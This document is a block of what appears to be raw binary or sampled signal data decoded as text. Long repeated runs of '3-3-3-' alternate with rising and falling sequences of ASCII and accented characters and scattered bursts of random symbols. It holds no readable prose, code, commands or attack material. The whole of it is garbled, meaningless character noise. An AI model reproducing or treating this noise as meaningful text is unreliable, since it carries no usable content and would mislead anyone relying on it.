5*3,3*4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4.4.5.5/81:3=5?7@9B:E<E=F?IAKCMFNGPHRITKVMXPYQ\R^T`VaXc[e\f]h_j`lbmdogqhsjulwmynzq}r~uvxz|~¶ĹƺȻ˾οʾɽƺŸõ~{~x|wyuvqropmmjkhifece`b^`[^Y[WYUVRSPQNPKMHJEGBD@B>@<=;;88563310..,*(('%%$#"      " $#'&*(-*/,1/315386:8<;?=B@EBGEJHMJPLRNTPWRYT[W^Xa[d^faickfnhqksluowqyszu}xz~¹ƻʼͿο̾ɼƺĹ·~|{xwu~s|qxpvntlskriogmelciag_f]e\cYaW`U_T]R[QXOVNSMRJOINGMFKDHBF@D>C=A;@9>7<6:39271505.4-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1.1-8(8)1/2/8,:-"1"x]4*@,-22),/-26.B;g &V2!NJ9:M)M'F*f@FG#L!D'W);,9B4 GN$S'F% ><)g\5CO?f<=vGYP!T+D N'<]&56(>& :'3-.02.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.6182:3<5=8@9A:B<E>G?JAKBLDNFOHQISLUMXOZQ\R^T`WaXcZd[f]g^hajcldnephsjvlwmxozq|r~tvy{|}öŸǹȻɽ˾ʾȼƹĶõ~}{~y{vwstpqmnkmjjgidgae`c]`[\YZWWTVRTOQKOIMHJFHCEAB>?<<9:6845220/.,,*))'&#$""      " %"(%*'-+/,3/516385:8<:>=A?DAGCJFLIPLSOUQWSYU\X^Ya\c^e`hcjelhojrmtowrytzv}x{}¸ĺǼȽ̿˿ʽɼǺƸ÷~{ywv}s|r|pzoxlulrjqhogmekbiaf^e\cZbY`X_U]S]RZPXNWMTKRJPHNFLEKCHBG@E>B<A:@9>7;6:482706/4.3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.5,5,1,-../=.7.ML7k =&.13)0=/q e574.40C B"Q%U%E'54BQWO?%1,,1.(28I#U#SM;-+&4*d`5"y <.8A&>33.-,7#@$P&]MD8)2608+8*9.5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.4/508192:4<6?8@9A;D<E>G@IBKCLEMGOHRJULWNXPZR\T^V`XaYbZc\e]g_h`kcmepgriujvlwnzo{q}tvwy{|~öŷƹȻɽ̿Ϳ˼ɻǹĸö}z{wxtupqnpnolmjkgidfbd``^^\\YZVXTVPSNRMOKLIIFFCCA@>><;:976443200.-++)('&%""        #!&$('+)-,1/326386:9<:>=@?BAEDHGKINKPNTPVSXUZX]Z_\c^e`fchflhnkpmsovrxtzv|x{}÷ĹǻȽʿʾȼǺŸĶ|{ywu~t|qzoynxlvjtipgofmdjbi`g^d\cZbX_V^U]T[PXOWNVLTKRIOHMEKDJBH@E?D=C<A:>7<6<5:371606/5-4-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2/5.3-/-+0-16(:+%=nM%H""s]Ya)Y$[-Y#04'>+8,400,1,4.2///-0+.*+/,6/5+2(6-/+/-01-//-3-:/(;,ha3&y$>1-.25->( 9)1*2-/,,,/1/2.1/3/1/.2.5.2*3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,3-3-5.6/6/81;3<5=6@7A9C;E=H?IAJCLENFPHRJUKWNXQYR[S^U_W`YcZd[e]g^i`lbndrfsitjukxnyo{r}tuwyz|~µŷƸȼ˾ξ˽ȻƺŹķ|y|vyttrqqpnnklijghfecba`^_[\XYUWSVQSOPMNKJHGEDCBA??<;;977543210.-,+*('&$#"!     " $#&%)(-+/-205386:8<:><@>CADCGFJHMKPNROURWTZW\Y^\a^d`gbidkgmjolrourxt{w|x~{~¶ŸǻȽʿ˿ɾȼƻŸķ}zxwu~s|q{pynwlujshrgqemcjah`f^d\cZaX`W^U\SZQYPWMUKQJPHNGMEKCIAH@F>C<A;@9=7;5938271605.5.4-5-5-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1.2.7,6,/0.120901*&0@/qM'O'>5>ML0l"9-,6*:,8-6.4*5+7,8.2,1.1/1-5.7,:-8,6+5/1+.+3/3)6*028*dc3,v!@,.12/,1*1,302-3+6-6-1*2-0.,-,.,.,-/.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-3,3,3-3-3-4.6/8092<4>5?7A9C;E=F?HAJBLDNFPHRKTMTMWPYRZS]U_VaWbYc[f]h_jamcoepfqhtjvlwnzp|q}suwxz|}õĸƺȼʾ̿ʾȼǺŹö~{yxwuusrqoomnkkihgfedbc_`\^Y[WYUVSTQROOLLIIGEEBC@@>=<;98665431//-,)*''%%""     ! ##%%)(+*--1/427598=:>=@?CAECGEIHMJNMQPURVTZV\Y_\a^cafciekgmjolqnspxtzw|y{~ķŹƺɼ˿ɾǻƺĸ¶~}{yv~t}s{qyoxmwksjrhqfodnclah_e]d\bZ`X_W]T\SYQWNVLUKSIPHMFKDJBIAG?E=B;A:?8=6;49371606/6.5.4-4-3-5.5.4.3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.5.8,5,0/1-5+5*3.,1*69V%z/550z #[%<.//2,+2*7.5.4)4(7,7.3+1+2,2,3-6-7.6-2*4/1-1-4.4':+,-(60HHj/Q +7/.2//0-0..10.-1/3/2+4+4)7+6+4-0-*+/12-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,3,2-2,3,4-5.6/90:1;2<4=7@9B;C<D>G@IBLDMFOHPIRLTNUNYQZR]S^U_WbYc[f]i^j`kamdofrhsjulwmxn{q}rtvxz{}¶ĸƺǻȽʿ˾Ƚƺĸ~}{yzxwvtsrqppnnkkjiggdfad^`\]Z[XXUVSTQQNNLKIHGEECA@?>=<;98855431/.,,))'&$#!!   !#"%$('*)-,/.215486;9><A>CAECHEIGKINLQNRPUSXV[X^Za^d`fchekgmjokrntpwryu}x~z}ĸƹǻɽʾɿǽƺĸ·~}{yxu|s{qyoxnvlsjrhpfndlbjai_f]d\aZ`X^W]U[SXQWOUMRJRIPGNEKDIBH@F?E=B<A9?8=7;492816/4.4-5-5-5-3-3-4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-6.8.6,3,2,3)5' 4'5-42/003&3"7%8*5,1-2.4304.%2*20+5.2,2)5,3-5/6.3+4+3,1+1.0-0.2//+0+1,4.4)5+2./,5.4-814)5+3--/+1..1--,00./1-4+7)<* 9&9)7-0,0/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1,1,2,2,2-3-3-3-3-3-5-6-6.8193;4=6?8@:B<E>G@IBJDLENGOIQKSMVNXPZQ[S]U`WaYcZe\f^i_kamdofqgritjwmyo{p}r~tvwz|÷Źȼʾɽǻĸ÷~}{|xyvvturroommklhjehbe`b_`\]Y[WWUURRPPMMKJIHFECCAA?><<:9875422//-,*)(&%$"!      "!%$''))-+/-1/327497<:><C?DBGDJFLIMKQMSOURWTYW]Z_\b^fahdjfmhnjqlsowryu|v}x{~öƹȻʼ˿ɿƽĻù}{yx~v|tzrwpwmtlsjqhogmelbjag_f^d\bZ_X\V\UYSXQVOSMQJPHNFMDKCJAG?D=C=B<A:=8<6:371615/5.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-7-9-6+3*6+3,1,4+7):,5+3-8*=(9(5)4,00.23.2-&0+05,7-4.1,/./.2.5,9+:*7*3,//,0,1./1-5,5-3.1-/..0/,5+8*;+9(7+3-//-02,5)5*4+3+4,5+7+8+8)9*9,6,4-4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2.3-3-3-3-3-3-3-4-4.5/6083;4<6>8@:B<C>E@HBICKEMGNHQJRLUMWOXQ[S]U_WaYbZe[f^hajcldnepgritlumxozq|r}tvy{|~ŹǺɼ̿ʿȽǻĹö|~z}x{wwstqqnplmikfhcgbe`c]`[]YZWWSTQRNOLLIIGGEEBB?@==;:8865321/.-+))'&%$#"     !!$#&&)(,*.,1.316385;8>:A=C@FCJELHNJQLSNTPVSYU[W^Za]d`gbjemgnjqltowqyt{v~wz}ķǹʼ̾̾ǻú}{yw~v|tyrwpuntlskqiogmekcjag_e]d[cZ`X]WZUXRWPVOTNQKPJNHLFJCIAF@F>C;A:@9?8<5:492704/4.4.3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-7,9,4,3,5,3-0/2-6*:(8)6*=(C%=' 